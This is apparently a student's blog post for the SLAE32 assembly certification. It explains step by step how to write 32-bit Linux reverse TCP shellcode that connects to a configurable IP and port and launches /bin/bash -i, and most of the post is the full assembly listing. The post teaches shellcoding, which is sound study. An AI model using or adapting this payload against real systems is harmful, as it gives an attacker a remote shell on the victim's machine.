Skip to main content

SLAE32 - Assignment 2

Welcome to part two (2) in our seven (7) part series for the SecurityTube Linux Assembly Expert 32-bit certification challenge. This blog represents the second assignment out of seven (7) and the requirements for assignment two (2) are as follows:

  1. Create a Shell_Reverse_TCP shellcode
    1. Reverse connects to a configured IP and PORT
    2. Execs shell upon connection
  2. The IP and PORT should be easily configurable

Part one (1) can be found here:

The code for this assignment can be found on GitHub at the following location:

Supplemental scripts that I developed for this class can be found on GitHub at the following location:

Compared to assignment one (1), this code was actually a lot shorter, and if we think about this a little bit, it makes a lot of sense. Instead of using four (4) different SOCKET system calls (SOCKET, BIND, LISTEN, and ACCEPT), we just need two (2). For this assignment we'll use SOCKET, and CONNECT, along with DUP2 and EXECVE. This will make the code much shorter.

We'll start our program by similar to our Bind Shell program in assignment one (1) by declaring a global label _start, defining our .text section, and using the _start: label as our entry point for our first several lines of instructions. Similar to assignment one (1), we'll use the SOCKETCALL system call to call the SOCKET system call. Just like before, we'll use TCP, AF_INET, and SOCK_STREAM for our parameters to SOCKET. Once we setup our registers, we invoke the interrupt signal int 0x80 and create our socket. We'll also save the SOCKETFD return value in EDI.

global _start

section .text


 ; now we invoke __NR_SOCKETCALL syscall
 ; just like we did in our bind shell

 xor eax, eax         ; zero out eax
 xor ebx, ebx         ; zero out ebx
 push byte 0x6        ; push parameter 3 TCP Protocol
 push byte 0x1        ; push parameter 2 SOCK_STREAM
 push byte 0x2        ; push parameter 1 
 mov al, 0x66         ; socketcall syscall
 mov bl, 0x1          ; int socket(int domain, int type, int protocol)
 mov ecx, esp         ; parameters
 int 0x80             ; call it

 mov edi, eax         ; save that sockfd

Since I'm a big fan of the JMP-CALL-POP technique, we'll use it again in this script as well. By doing so, we'll not only have the benefit of dynamically getting the address of our IP and PORT, but we'll have the added bonus of having the last six (6) bytes of our shellcode represent the IP Address (4 bytes) and Port (last 2 bytes) respectively, fulfilling the second primary requirement for this assignment.


 ; JMP/CALL/POP for IP and PORT address

 jmp short ip_port



 call connector
 ip_address: dd 0x101017f       ;
 port:   dw 0x5c11              ; 4444 see

Before we get too far ahead of ourselves though, let's take a look at the CONNECT man page. We'll need to have a plan in order to set up our registers properly.

Once we understand the CONNECT system call, we need to reference /usr/include/linux/net.h in order to see which call number is associated with CONNECT for the SOCKETCALL system call.

We will start the next set of instructions by issuing a POP ESI instruction. ESI will now hold the address of our IP address and Port. Following this, we'll zero out our EAX, and ECX registers. Our IP gets pushed onto the stack with the PUSH DWORD [ESI] instruction which pushes four (4) bytes from the address located within ESI onto the stack. Since we specify DWORD, only the first four (4) bytes will get pushed onto the stack. The next PUSH instruction specifies a WORD which is two (2) bytes at the location four (4) bytes past the address in ESI. This will be our Port. The process of setting up our CONNECT system call continues by finishing setting up the stack so we can create our struct. The way I define a struct here is a pointer to an array of pointers. We just finished setting up the array, and now we'll have to point to it MOV EAX, ESP and then make sure that pointer is on the stack following setting up the stack with our third parameter to CONNECT. This is done by issuing the following instruction PUSH BYTE 0x10 (addrlen), and then the struct with PUSH EAX. Remember, EAX contains the address to our array on the stack. Next, we push the return value from our SOCKET system call onto the stack as the first parameter to CONNECT. We then finish setting up our registers for SOCKETCALL, and CONNECT and finally our pointer to our parameters we copy into ECX with the MOV ECX, ESP instruction. At last we send the interrupt signal to issue our CONNECT system call.


 ; Now we set up the connection with our IP/PORT
 ; we'll have to put together the struct again
 ; similar to our bind shell
 ; int connect(int sockfd, const struct sockaddr *addr,
        ;           socklen_t addrlen)

 pop esi   ; store IP and PORT in esi
 xor eax, eax  ; clean out eax, remember edi has has sockfd
 xor ecx, ecx
 push dword [esi] ; IP onto stack
 push word [esi +4] ; PORT onto stack
 mov al, 0x2  ; AF_INET IPv4 
 push ax   ; struct is set up
 mov eax, esp  ; store the pointer to a register temporarily
 push byte 0x10  ; parameter 3 16 bytes in length
 push eax  ; parameter 2, pointer to struct
 push edi  ; parameter 1, sockfd
 xor eax, eax  ; clean out eax again
 mov al, 0x66  ; __NR_SOCKETCALL
 xor ebx, ebx  ; clean out ebx
 mov bl, 0x3  ; connect()
 mov ecx, esp  ; pointer to parameters
 int 0x80  ; call it, will return 0 on success 

In assignment one (1), we redirected the ACCEPT system call to standard in, out, and error. For this assignment however we'll need to use the SOCKETFD in DUP2 for the int oldfd. Another way to accomplish this is just to loop through this section after setting ECX to 0x3. As a matter of fact, this would be a more efficient way to accomplish the same task.


 ; once again, we'll use dup2()
 ; int dup2(int oldfd, int newfd)

 xor ebx, ebx  ; clean ebx
 xor ecx, ecx  ; clean ecx
 mov ebx, edi  ; sockfd
 mov al, 0x3f  ; define __NR_dup2    63 (0x3f)
 int 0x80  ; call it
 inc ecx   ; 1 for std out
 mov al, 0x3f  ; define __NR_dup2    63 (0x3f)
 int 0x80  ; call it
 inc ecx   ; 2 for std error
 mov al, 0x3f  ; define __NR_dup2    63 (0x3f)
 int 0x80  ; call it

Similar to assignment one (1) we'll use /bin/bash -i again. We'll have to remember to initialize EAX, push its value onto the stack, and then setup the stack for our argument array. We cannot forget to terminate each argument with a null byte to terminate each argument. In this case we just have the -i argument passed to /bin/bash.


        ; now it's time to launch our shell
        ; program using execve. I prefer
        ; /bin/bash we'll use /bin////bash
        ; execve is 0xb (11)
        ; int execve(const char *filename, char *const argv[],
        ;          char *const envp[])

        xor eax, eax     ; clean out eax
        push eax         ; need a null byte for execve parameters
        push 0x68736162  ; hsab
        push 0x2f2f2f2f  ; ////
        push 0x6e69622f  ; nib/
        mov ebx, esp     ; save stack pointer in ebx
        push eax         ; Null onto stack
        push word 0x692d        ; "-i" parameter to /bin/bash
        mov esi, esp     ; save the argument pointer
        push eax         ; null byte terminator
        push esi         ; pointer to "-i" parameter to /bin/bash
        push ebx         ; points to 0x00hsab////nib/
        mov ecx, esp     ; store pointer to 0x00hsab////nib/ into ecx
        xor edx, edx     ; NULL as last parameter
        mov al, 0xb      ; execve
        int 0x80         ; call it

Here's the shellcode. Don't forget that the IP Address and Port needed to be configurable. The last six (6) bytes are the hexadecimal representation of the IP (first four (4) bytes) and port (last two (2) bytes). Since they are input into memory already in little endian format, you'll only need to put them in your final shellcode in correct order. Feel free to use my script to easily convert an IPV4 Address and port into hexadecimal. The script can be found on GitHub here:


Finally, we run the shellcode and see that it is in fact a bit shorter than our Bind Shell from assignment one (1).

Hopefully we can see that writing a Reverse Shell program takes less assembly than a Bind Shell simply because we make less system calls. Thanks for reading as always, please leave a comment or questions that come up and I hope you learned something about shellcoding, and assembly on Linux.

Next: Part 3 - Assignment 3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-744


Popular posts from this blog

SLAE/SLAE64 Course Review

  After recently finishing both the SLAE ( ) and SLAE64 ( ) courses available through SecurityTube Training, and earning both certifications, I thought I would write a review of the training itself. Personally, I chose these course as a way to learn Assembly in preparation for the Crack The Perimeter (CTP) course and OSCE certification. After taking the Pentesting With Kali (PWK) class and earning the OSCP, I knew I needed to fill some gaps in my knowledge, and specifically with C and Assembly programming. Seeing that there aren't many training offerings that aim to teach Assembly specific to penetration testing and shellcoding, I gave SLAE a try.   If you don't care about the certification itself, you can obtain all of SecurityTube's videos for a small monthly fee through P

SLAE32 - Assignment 1

In preparation for the next Offensive Security certification class and challenge (CTP and OSCE), I decided to invest some time and energy into the Security Tube Linux Assembly Expert 32-bit class. That way I can have a solid foundation in understanding the finer workings of Assembly. Especially since my focus for my second Bachelor's degree was more along the lines of system administration and back-end web development instead of the programming focus of Computer Science. Still, I never stop with my learning and barely slow down at times. This was the first assignment out of seven (7) and the requirements for assignment one (1) were as follows: Create a Shell_Bind_TCP shellcode Binds to a port Execs shell upon connection The PORT number should be easily configurable This is a pretty standard request but I must admit the process was only somewhat familiar. I knew I could write the code pretty easily once I understood the process. For this, I had to fall back on my love

Binary Analysis Cookbook: The Process and Working with Packt

Hello to you, yes you, reading this blog. Thank you for stopping by and I apologize for going silent for a while. Life has been busy in one way or another and unfortunately, this was one area that suffered. Thank you for understanding and please read on. At the end of 2018, I received a LinkedIn message from someone at Packt Publishing inquiring whether I would have any interest in writing a book for them. Naturally, and partly due to my lack of knowledge or experience with the process, I was a bit skeptical. I replied to the e-mail and said I would be interested in finding out more, all while nearly simultaneously I reached out to Packt via their web contact form to verify this person was who she said she was. I mean after all, this kind of thing doesn't normally happen to me and I have done what I can to regain some of my public anonymity following a career in broadcast television.